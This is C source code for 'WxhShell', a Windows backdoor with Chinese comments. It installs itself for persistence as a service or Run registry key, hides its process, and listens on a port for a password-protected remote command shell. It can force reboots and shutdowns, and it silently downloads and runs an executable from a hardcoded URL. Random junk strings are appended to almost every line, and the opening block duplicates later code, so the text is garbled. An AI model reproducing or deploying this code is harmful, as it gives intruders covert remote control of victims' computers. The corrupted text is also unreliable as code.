DWORD PebBaseAddress; n R\n\
DWORD AffinityMask; `}~)1'(#/
DWORD BasePriority; +#qt^NO
ULONG UniqueProcessId; 6{ +_T
ULONG InheritedFromUniqueProcessId; .z$Sm
} PROCESS_BASIC_INFORMATION; >=~Fo)V!(V
x , Vh
PROCNTQSIP NtQueryInformationProcess; {LT4u]#
]bN&5.|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ri<'-w i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qTTn51
J[!x%8m
HANDLE hProcess; 7mn,{2
PROCESS_BASIC_INFORMATION pbi; ] `B,L*m6
P
0Efh?oZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i9;27tT~<
if(NULL == hInst ) return 0; O+o ;aa6
umm \r&]A
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AGEZ8(h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QP$nDK<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pfL2v,]g
wrQydI
if (!NtQueryInformationProcess) return 0; 8K.s@<
bk7^%O>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x[PEn
if(!hProcess) return 0; 3q#"i&
}O.LPQ0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #.)xm(Ys
6;
5)/ q
CloseHandle(hProcess); /[Bl
NWJcFj_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B:O+*3j
if(hProcess==NULL) return 0; YER:ICQ
GB<R7J
HMODULE hMod; n5bXQ
char procName[255]; px w{
unsigned long cbNeeded; M8^.19q;
Gva}J6{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *CeQY M
"JzfL(yt
CloseHandle(hProcess); vIVw'Z(g}
K08 iPIkQ
if(strstr(procName,"services")) return 1; // 以服务启动 _kn]#^ucCe
#0P!xZ'|{
return 0; // 注册表启动 FNz84qVIx'
} 5mI?pfm
$zC6(C(l
// 主模块 7<EJo$-j
int StartWxhshell(LPSTR lpCmdLine) +jq
2pFQ
{ >vQ6V'F
SOCKET wsl; j';n8|Y9
BOOL val=TRUE; Az
U|p
int port=0; M0O>Ljo4RN
struct sockaddr_in door; M'\pkzx
tgO+*q5B
if(wscfg.ws_autoins) Install(); #mgA/q?A
xik`W!1S
port=atoi(lpCmdLine); |yLk5e~@-
`Uzs+k-]
if(port<=0) port=wscfg.ws_port; sL)Rg(rkx
UG6M9
WSADATA data; &}zRH}s;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7}<Sg
{hxW,mmA
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; k?^%hO>[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %z1{Kus
door.sin_family = AF_INET; M|U';2hZN:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); q z=yMIy=
door.sin_port = htons(port); e@[9C(5E"
HKpD2M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DZJeup?Z
closesocket(wsl); GSQfg
return 1; ;)gLjF/F7
} )j\r,9<K+5
LlU'_}>
if(listen(wsl,2) == INVALID_SOCKET) { AvZXRN1:'
closesocket(wsl); !{IC[g n
return 1; Z%Vr+)!4
} (%i!%{!]
Wxhshell(wsl); _~ v-:w
WSACleanup(); otU@X 3<_
pNuqT*
return 0; 9KXym }
-zprNQW
} SAP;9*f1\
PDhWFF
// 以NT服务方式启动 H;qJH1EdD
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "rVU4F)
{ Ga.0Io&}C
DWORD status = 0; 5|CzX X#U
DWORD specificError = 0xfffffff; oK)[p!D?0{
GN0duV
serviceStatus.dwServiceType = SERVICE_WIN32; N50fL
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (e(Rr4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {ZG:M}ieN
serviceStatus.dwWin32ExitCode = 0; WI6(#8^p
serviceStatus.dwServiceSpecificExitCode = 0; ~,T+JX
serviceStatus.dwCheckPoint = 0; =9(tsB gTX
serviceStatus.dwWaitHint = 0; {f-XyF1`
u-kZW1wrQ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :v_w!+,/
if (hServiceStatusHandle==0) return; U3/8A:$y
)Xp Vu
status = GetLastError(); uNy!<u
if (status!=NO_ERROR) |f<9miNu
{ rfX=*mjt
serviceStatus.dwCurrentState = SERVICE_STOPPED; TQ?#PRB
serviceStatus.dwCheckPoint = 0; "(<%Ua
serviceStatus.dwWaitHint = 0; )&Mq,@
serviceStatus.dwWin32ExitCode = status; 5\&]J7(
serviceStatus.dwServiceSpecificExitCode = specificError; V;k#})_-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LaclC]yLU
return; l:)S 3
} J]dW1boT@
TywK\hH
serviceStatus.dwCurrentState = SERVICE_RUNNING; pD[pTMG@$
serviceStatus.dwCheckPoint = 0; $D}"k!H
serviceStatus.dwWaitHint = 0; FJ}gUs{m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S_$nCyaH2
} <W2ZoqaV
HJ",Sle
// 处理NT服务事件,比如:启动、停止 QAi1,+y]7w
VOID WINAPI NTServiceHandler(DWORD fdwControl) t| _{;!^
{ [<Q4U{F
switch(fdwControl) :WO{x g
{ q=+wI"[
case SERVICE_CONTROL_STOP: zC#%6@P\
serviceStatus.dwWin32ExitCode = 0; [EruyWK
serviceStatus.dwCurrentState = SERVICE_STOPPED; tJAnuhX
serviceStatus.dwCheckPoint = 0; k/@Tr
:
serviceStatus.dwWaitHint = 0; 8RU.}PD
{ 6^ab@GrN\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ++0rF\&
} cl_TF[n?
return; D?mDG|Z
case SERVICE_CONTROL_PAUSE: y]
y9'5_
serviceStatus.dwCurrentState = SERVICE_PAUSED; i?x$w{co
break;
w{r8kH
case SERVICE_CONTROL_CONTINUE: ##GY<\",;
serviceStatus.dwCurrentState = SERVICE_RUNNING; Sk$KqHX(
break; :]-$dEu&
case SERVICE_CONTROL_INTERROGATE: ;Gh>44UM[
break; #N$9u"8C
}; fdLBhe#9M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R+uw/LG
} gs>A=A(VYf
2LC
w*eT{)
// 标准应用程序主函数 *E7R(#,yC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =+\$e1Mb*
{ _JA:.V^3gm
(kY@7)d'e
// 获取操作系统版本 tpGCrn2w>
OsIsNt=GetOsVer(); .`+yo0O:
GetModuleFileName(NULL,ExeFile,MAX_PATH); x)5LT}p
6+e4<sy[E
// 从命令行安装 _ Mn6 L=
if(strpbrk(lpCmdLine,"iI")) Install(); *6P'q4)
x0ne8NDP
// 下载执行文件 59Nd}wPO;
if(wscfg.ws_downexe) { #a'r_K=ch)
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (l_:XG)7~b
WinExec(wscfg.ws_filenam,SW_HIDE); ~of,,&
} [<S^c[47U
gyFr"9';c
if(!OsIsNt) { A_F0\ EN*
// 如果时win9x,隐藏进程并且设置为注册表启动 Wn~ZA#
HideProc(); B\0t&dai|'
StartWxhshell(lpCmdLine); Qsji0ikG
} =f `=@]
else }LQ\a8]<
if(StartFromService()) &mdB\Y?^
// 以服务方式启动 }hq^+fC?
StartServiceCtrlDispatcher(DispatchTable); cmIT$?J
else ;W6-i2?
// 普通方式启动 I&\4C.\>
StartWxhshell(lpCmdLine); %"+4
D,'l
}AJ L,Q7q
return 0; LuL$v+`
} Q1]Wo9j
> Y]_K
&=NJ
ZRPy~wy>
=========================================== Khap9a_q-
3Y(9\}E@`
5{>>,pP&
=]d^3bqN
KC]tY9 FK
tvT4S
" .:[`j3s )Y
o?y"]RCM
#include <stdio.h> `V@z&n0P6
#include <string.h> m_$JWv\|\
#include <windows.h> C]Q>*=r
#include <winsock2.h> bs P6\'\4
#include <winsvc.h> P=Puaz5&{
#include <urlmon.h> ? oc+ 1e
cd+^=esSO
#pragma comment (lib, "Ws2_32.lib") I{EIHD<
#pragma comment (lib, "urlmon.lib") ki3 HcV
y{92Lym
#define MAX_USER 100 // 最大客户端连接数 RAwk7F3qn
#define BUF_SOCK 200 // sock buffer qw2)v*Fn
#define KEY_BUFF 255 // 输入 buffer z'*ml ?
#\<P]<C
#define REBOOT 0 // 重启 SM$\;)L
#define SHUTDOWN 1 // 关机 v4C3uNW
ng
9NE8F
#define DEF_PORT 5000 // 监听端口 QY6O(=
y
qkX:jt
#define REG_LEN 16 // 注册表键长度 #w;;D7{@m
#define SVC_LEN 80 // NT服务名长度 (rIXbekgB
V(DjF=8
// 从dll定义API U&X.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7N6zqjIB
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :v#8O~
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O"8 P#Ed
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z1FL8=
tI'e ctn
// wxhshell配置信息 7BS/T
struct WSCFG { F=:c5z
int ws_port; // 监听端口 'f8
p7_F
char ws_passstr[REG_LEN]; // 口令 Bu':2"7
int ws_autoins; // 安装标记, 1=yes 0=no %uW<
char ws_regname[REG_LEN]; // 注册表键名 B6uf;Yc
char ws_svcname[REG_LEN]; // 服务名 eWw y28t
char ws_svcdisp[SVC_LEN]; // 服务显示名 [&Lxz~W][
char ws_svcdesc[SVC_LEN]; // 服务描述信息 `u$24h'!
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7F~xq#Wi#
int ws_downexe; // 下载执行标记, 1=yes 0=no ONNW.xHp
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q6xgLx[
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E tdd\^
ijg,'a~3E
}; $:P[v+Uy
h%u?lW
// default Wxhshell configuration eZ[#+0J
struct WSCFG wscfg={DEF_PORT, _4O[[~
"xuhuanlingzhe", ,znL,%s
1, {<"[D([
"Wxhshell", X+\0%|
"Wxhshell", JLt{f=`%F
"WxhShell Service", m[{nm95QZ
"Wrsky Windows CmdShell Service", W%w82@'
"Please Input Your Password: ", N:5b1TdI,
1, H_v/}DEG
"http://www.wrsky.com/wxhshell.exe", cz$c)It
"Wxhshell.exe" 2zwuvgiZ
}; 3$;J0{&[i
&MBOAHhze
// 消息定义模块 /\Jc:v#Q
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )_WH#-}
char *msg_ws_prompt="\n\r? for help\n\r#>"; +HYN$>
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hl=oiUf[s
char *msg_ws_ext="\n\rExit."; P"U>tsHK:
char *msg_ws_end="\n\rQuit."; 9[B<rz
char *msg_ws_boot="\n\rReboot..."; u)wu=z8
char *msg_ws_poff="\n\rShutdown..."; H;4oZ[g
char *msg_ws_down="\n\rSave to "; zaQ$ Ht
\t[
hg
char *msg_ws_err="\n\rErr!"; lrM.RM96
char *msg_ws_ok="\n\rOK!"; 9*"[pt+tA
Be'?#Qe
char ExeFile[MAX_PATH]; \nn56o@eN
int nUser = 0; % jYQ
HANDLE handles[MAX_USER]; qFB9,cUqh
int OsIsNt; yN%3w0v
}//8$Z<(
SERVICE_STATUS serviceStatus; q_OY sg
SERVICE_STATUS_HANDLE hServiceStatusHandle; )cfp(16
]=O{7#
// 函数声明 PTfN+
int Install(void); 30wYc &H
int Uninstall(void); ZP]2/;h
int DownloadFile(char *sURL, SOCKET wsh); OLhWkN,qA
int Boot(int flag); 5M/%%Ox
void HideProc(void); qJe&jLZa
int GetOsVer(void); 1mvu3}ewx
int Wxhshell(SOCKET wsl); TW;|G'}$
void TalkWithClient(void *cs); AIIBd
int CmdShell(SOCKET sock); 1t}
(+NNjH
int StartFromService(void); A=\'r<:
int StartWxhshell(LPSTR lpCmdLine); Jv '3](
N?Z+zN&P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oRtY?6^$
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "RR./e)h
MZ >0K
// 数据结构和表定义 8VBkI Ygb
SERVICE_TABLE_ENTRY DispatchTable[] = v ](G?L9b
{ M4L~bK
{wscfg.ws_svcname, NTServiceMain}, <
|]i
{NULL, NULL} K{`2jK#
}; o{YW
jSOa
// 自我安装 MfZ}xu
int Install(void) "OlI-^y
{ ^HOwN<}`#
char svExeFile[MAX_PATH]; Y_aP:+
HKEY key; <7sF<KD
strcpy(svExeFile,ExeFile); O #uaGziFf
l72ie
// 如果是win9x系统,修改注册表设为自启动 MFCbx>#
if(!OsIsNt) { wKeSPs{x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i85+p2i7
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ux/[d6To
RegCloseKey(key); 8gu7f;H/k
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0YsN82IDD
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l yLK$B?/
RegCloseKey(key); A<*tn?M]
return 0; gw}7%U`T9
} OA8b_k~
} XQ4^:3Yc
} 2kmna/Qa6
else { f@x( ,p
5D02%U2N)G
// 如果是NT以上系统,安装为系统服务 Hhce:E@K
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *|.yX%"k
if (schSCManager!=0) V }r_
{ {KQ-Ce-6
SC_HANDLE schService = CreateService -$!Pf$l@
( szM=U$jKq
schSCManager, *F4G qX3
wscfg.ws_svcname, #dn%KMo2r
wscfg.ws_svcdisp, )uv$tnP*
SERVICE_ALL_ACCESS, `- uZv
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q}76aa0e
SERVICE_AUTO_START, ju2X*
SERVICE_ERROR_NORMAL, JD\-X(O
svExeFile, IB]VPj5
NULL, N6 }i>";_;
NULL, dQ2i{A"BKz
NULL, %~v76;H<
NULL, b\uB
NULL m#}{"d&J
); hcqmjqJ
if (schService!=0) n*8RYm)?
{ kHIQ/\3?Q
CloseServiceHandle(schService); b<8J ;u<
CloseServiceHandle(schSCManager); Qre&N_
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H f mMf^c
strcat(svExeFile,wscfg.ws_svcname); 6s"bstc{
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V/[,1W[B
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^} pREe c=
RegCloseKey(key); L5N{ie_
return 0; (j 8,n<o
} qFsg&<
} OQb9ijLeK
CloseServiceHandle(schSCManager); j!8+|eAkk
} aZ:?(u]
} kAF}*&Kzd~
ZCF-*nm
return 1; oP`M\KXau
} +Q#Qu0_
?kxWj(D
// 自我卸载 e ~,'|~
C5
int Uninstall(void) \iE9&3Ie
{ Ol5xyj
HKEY key; :H8L (BsI
CH+&
if(!OsIsNt) { U\GZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $U.'K!B
RegDeleteValue(key,wscfg.ws_regname); Ewsg&CCN
RegCloseKey(key); ^3s&90
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \osQwGPV
RegDeleteValue(key,wscfg.ws_regname); imq(3?
RegCloseKey(key); Q3{&'|}^2
return 0; .`#R%4Xl
} cTx/Y&\9
} x{o5Ha{
} g-gBg\y{v
else { ~TR|Pv
q _|5,_a
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O!+5As
if (schSCManager!=0) 7Cp_41._
{ \ OINzfbr
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;<R_j%*
if (schService!=0) D)Rf
{ % x;!s=U
if(DeleteService(schService)!=0) { 1)r _h(
CloseServiceHandle(schService); nv
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CloseServiceHandle(schSCManager); r:rJv
return 0; t? Ja q
} u(`A?H:
CloseServiceHandle(schService); V
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} ~,-O
CloseServiceHandle(schSCManager); qyfxT Q5
} <]qd9mj5
} y.<Y]m
fsuvg jlE
return 1; Z-!T(:E]
} WN1-J(x6
s4k%ty}
// 从指定url下载文件 dph6aN(49
int DownloadFile(char *sURL, SOCKET wsh) $zi\ /Yw
{ #vwXx r
HRESULT hr; 8{t&8Ql n
char seps[]= "/"; =@
char *token; }"k(kH
char *file; [&V%rhi
char myURL[MAX_PATH]; .LHe*J C
char myFILE[MAX_PATH]; X;>} ;LiK
XnOl*#P
strcpy(myURL,sURL); rcT<OiYuig
token=strtok(myURL,seps); 0+i,,^x.
while(token!=NULL) W RaO.3Q@.
{ 1`\kXaG
file=token; k@U`?7X
token=strtok(NULL,seps); B(dL`]@Xm
} Tyl"N{ _
!,"G/}'^;
GetCurrentDirectory(MAX_PATH,myFILE); "PtH
F`mo
strcat(myFILE, "\\"); *X=-^\G
strcat(myFILE, file); f'U]Ik;Jy
send(wsh,myFILE,strlen(myFILE),0); HArYL}l
send(wsh,"...",3,0); czRh.kz,
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h]P$L>
if(hr==S_OK) yG4MqR)J
return 0; Z.JTq~`I
else k]g\`
gc
return 1; .5xg;Qg\Y
)v0vdAh'b
} `_`,XkpzCJ
KW<CU'
// 系统电源模块 :g";p.~=
int Boot(int flag) sA.yb,Fw
{ %}:J
9vra
HANDLE hToken; M czWg
TOKEN_PRIVILEGES tkp; )' #(1
,1k
XQ8Imkc
if(OsIsNt) { A>puk2 s
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {5JXg9um
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jFfki.H
tkp.PrivilegeCount = 1; [4e5(!e
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ui&$/%Z|
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qQ_QF
if(flag==REBOOT) { V^i3:'
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U_No/$ b
return 0; .bGeZwvf:G
} +|;IIwo
else { =Wa\yBj_;m
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E.9F~&DPJ<
return 0; W%ud nJ
} 8h97~$7)
} tDo0Q/`
else { T2{+fRvN
if(flag==REBOOT) { n C^'2z
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |.A>0-']M
return 0; S SXSgp
} L/I-(08!Y:
else { rL=$WxdPU
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \2jY)UrQs
return 0; !MC Wt
} 7-DC"`Y8e
} w3@te\
qJ@?[|2R
return 1; QVpZA,
} DYS(ZY)4
t>xV]W<
// win9x进程隐藏模块 ect?9S[!y
void HideProc(void) DKZ69^
{ 5
Jhl4p}w
oa|0=
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IjNm/${$
if ( hKernel != NULL ) |j,Mof
{ DQ)SMqOotw
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S%@$J~\rx
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RY'y%6Z]ZO
FreeLibrary(hKernel); pqe**`z@y
} X'c5s~9
&a`-NRU#
return;
v>XE]c_
} r!#3>F;B
Vr*t~M>
// 获取操作系统版本 XP7A.I#q0
int GetOsVer(void) (GQy"IuFh
{ A-W7!0
OSVERSIONINFO winfo; 6]Jv3Re'(I
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6voK{C4J
GetVersionEx(&winfo); TDoYp
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z9U*SS5s,
return 1; g=pDC+
else 4Qdg t*
return 0; 8^{BuUA
} u7mj
(/Ubw4unI
// 客户端句柄模块 _VlNZ/V
int Wxhshell(SOCKET wsl) R8 m/Nt2
{ %;<